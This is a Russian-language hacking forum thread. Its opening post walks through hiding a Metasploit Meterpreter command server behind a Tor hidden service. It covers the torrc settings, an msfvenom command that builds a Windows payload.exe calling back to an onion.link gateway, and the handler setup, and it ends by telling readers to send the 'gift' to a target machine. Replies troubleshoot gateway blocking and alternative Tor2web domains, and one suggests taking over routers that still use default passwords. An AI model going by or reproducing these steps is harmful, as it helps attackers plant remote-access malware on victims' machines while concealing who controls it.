Статья Meterpreter через TOR [Простое решение]

Отказ от ответственности: Эта статья написана только для образовательных целей. Автор или издатель не публиковали эту статью для вредоносных целей. Если читатели хотели бы загрузить эту программу, чтобы использовать её для личной выгоды, то автор и издатель не должны нести ответственность за любой причиненный вред или ущерб.
Уголовно наказуемо! Статья 272.

Доброго времени суток форумчане!
Эта тема для тех кто искал но не находил решение вопроса - а как же пустить сессию meterpreter через сеть тор
Требования:
  • Metasploit
  • tor (Expert Bundle)
  • Созданный сайт в сети tor
  • Не много терпения и капельку мозгов
Устанавливаем Metasploit если его еще нету!
Скачиваем tor:
Bash:
apt install tor
Заходим в файл конфигурации "torrc":
Bash:
nano /etc/tor/torrc
Находим и раскомментируем строчки до вида:
Код:
HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 80 127.0.0.1:9999
Перезапускаем сервис:
Bash:
sudo service tor restart
Узнаем полученый домен:
Bash:
sudo cat /var/lib/tor/hidden_service/hostname
Я думаю что для многих понятно что этим мы создали свой сайт в сети tor.
Теперь перейдем к metasploit'у.
Создадим наш вредоносный полезный файл:
Bash:
msfvenom -p windows/meterpreter/reverse_http LHOST=*******************.onion.link LPORT=80 -o payload.exe -f exe
Вместо звёздочек вводим полученную нами .onion ссылку.
Важно что бы ссылка заканчивалась на .onion.link
.onion.link - этот сайт перебрасывает вас в сеть тор без дополнительного ПО
Запустим слушателя:
Bash:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_http
set LHOST 192.168.1.1 (Не обязательно что будет такой же )
set LPORT 9999
exploit
Отправляем наш подарок на машину и ждем сессию.
Надеюсь что тема хоть кому нибудь пригодиться)
 
Последнее редактирование модератором:
С андроидом попробовал ((( Что то пошло не так ! Сессия не прилетает
 
  • Нравится
Реакции: Mokh
С андроидом попробовал ((( Что то пошло не так ! Сессия не прилетает
Андроид использовался как сервер или клиент!?
Если как клиент то нужно искать ошибку в конфигурации, если как сервер - на этой стороне я не копал, эксплойтов под ведроид работающих не в локалке не припомню..
 
  • Нравится
Реакции: Mokh
Андроид использовался как сервер или клиент!?
Если как клиент то нужно искать ошибку в конфигурации, если как сервер - на этой стороне я не копал, эксплойтов под ведроид работающих не в локалке не припомню..
На ведро поставил apk с созданием сессии для meterpreter, может проблема в reverse_http на андроиде?((( ведь reverse_tcp идеально работает и не только в Локалке! Lhost прописывать адрес же своей машины? Просто в ТОР 127.0.0.1 и порт 9999
 
  • Нравится
Реакции: Mokh
уже понял :)
 
Последнее редактирование модератором:
  • Нравится
Реакции: Mokh
На ведро поставил apk с созданием сессии для meterpreter, может проблема в reverse_http на андроиде?((( ведь reverse_tcp идеально работает и не только в Локалке! Lhost прописывать адрес же своей машины? Просто в ТОР 127.0.0.1 и порт 9999
UDP​
Ошибка найдена - ip адрес 103.198.0.2 [ onion.link ] занесен в реестр запрещенных сайтов..
что странно, ip адрес заблокирован - домен работает..
Попробую найти обход и этого..
 
  • Нравится
Реакции: lameruser, Vityun4a и Mokh
UDP​
Ошибка найдена - ip адрес 103.198.0.2 [ onion.link ] занесен в реестр запрещенных сайтов..
что странно, ip адрес заблокирован - домен работает..
Попробую найти обход и этого..
В том то и проблема, домен может быть заблокирован или вообще автор его отключит. Как вариант, я думаю, можно изменить payload чтобы он сначала скачивал и устанавливал тор с легитимного сайта, а уж потом подключался через тор к вашему серверу в даркнете. Но это требует админ прав, что не очень хорошо.

Есть ещё такой вариант. Можно найти какой-нибудь продвинутый рутер c DD-WRT и дефолтными паролями и через веб панель завести весь трафик в ТОР и тогда уже указывать этот рутер (с статическим IP). Но это в теории, на практике не проверял, слышал что так можно с локальной сети.
 
Последнее редактирование модератором:
Попробуйте заменить link на cab

ВМЕСТО LHOST=*******************.onion.link ---> LHOST=*******************.onion.cab

cab имеет айпи 62.138.11.6 , если верить проверке по блек листам , адрес чист
и можно еще упрстить
ping supersite.onion.cab
берем айпи
вписываем его

пример с работой через powershell
 
Последнее редактирование:
  • Нравится
Реакции: ghost, u7u и dgrey
Воу, круто! Стыдно, но я не знал, про домен link, который типа проксирует внутрь сети tor.
 
  • Нравится
Реакции: ghost
Когда я запускаю payload, сессия прилетает, но не грузит stdapi, что я делаю не так?
 
  • Нравится
Реакции: Anderson
Подскажите в чем может быть проблема, если я запускаю payload - сессия прилетает, но командной строки meterpreter не появляется :(
 
У меня почему то сессия не прилетает(Может где то у меня ошибка?
Снимок экрана от 2018-07-14 20-49-07.png
Снимок экрана от 2018-07-14 20-49-25.png
Снимок экрана от 2018-07-14 20-52-34.png
 
У меня почему то сессия не прилетает(Может где то у меня ошибка?Посмотреть вложение 20185Посмотреть вложение 20186Посмотреть вложение 20187
Onion cab? Я только что пытался по нему перейти - редиректит на гугл. Да, и вы поставили "reverse_tcp".

Есть onion to (tor2web) Однако вам следует учесть, что он использует https, то-есть порт должен быть 443, а не 80. Я не смог принять сессию, не загружалась stdapi (главная оболочка meterpreter), но уведомление про "session open" появлялось когда загрузчик https, а слушатель http.
В случае, указанном в lhost было вписано 127.0.0.1, порт 8888 (из тора). (Работать с этой сессий было невозможно)
Но, возможно, это не правильно, так-как lhost отвечает за то, куда будет подключаться именно "начинка". И у меня есть основания полагать, что нужно так:
lhost: fskljfsjkf.onion.to //Указывает адрес для подключения к нам в тор самой "начинки"
lport: 443
Протокол http или https
reverselistenerbindadress 127.0.0.1 //Запускает слушатель
reverselistenerbindport 8888
Это я уже не испытывал...
Есть еще видео, там показаны разные вариации.
Если у вас получиться, прошу, - уведомьте меня, сам искал способ, заранее спасибо.

P.S Файл, который стучит на onion.to может иметь повышенный детект у антивирусов.
 
Тема актуальна? Гейты не работают. 443 и 80 порты проверял. Коннекта нету.
Использовал netcat.
 
привет эта тема актуальна еще? если да то у меня есть вопрос... допустим мне пришлось переустанавливать операционку, возможно ли вернуть тот же урл в даркнете?
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!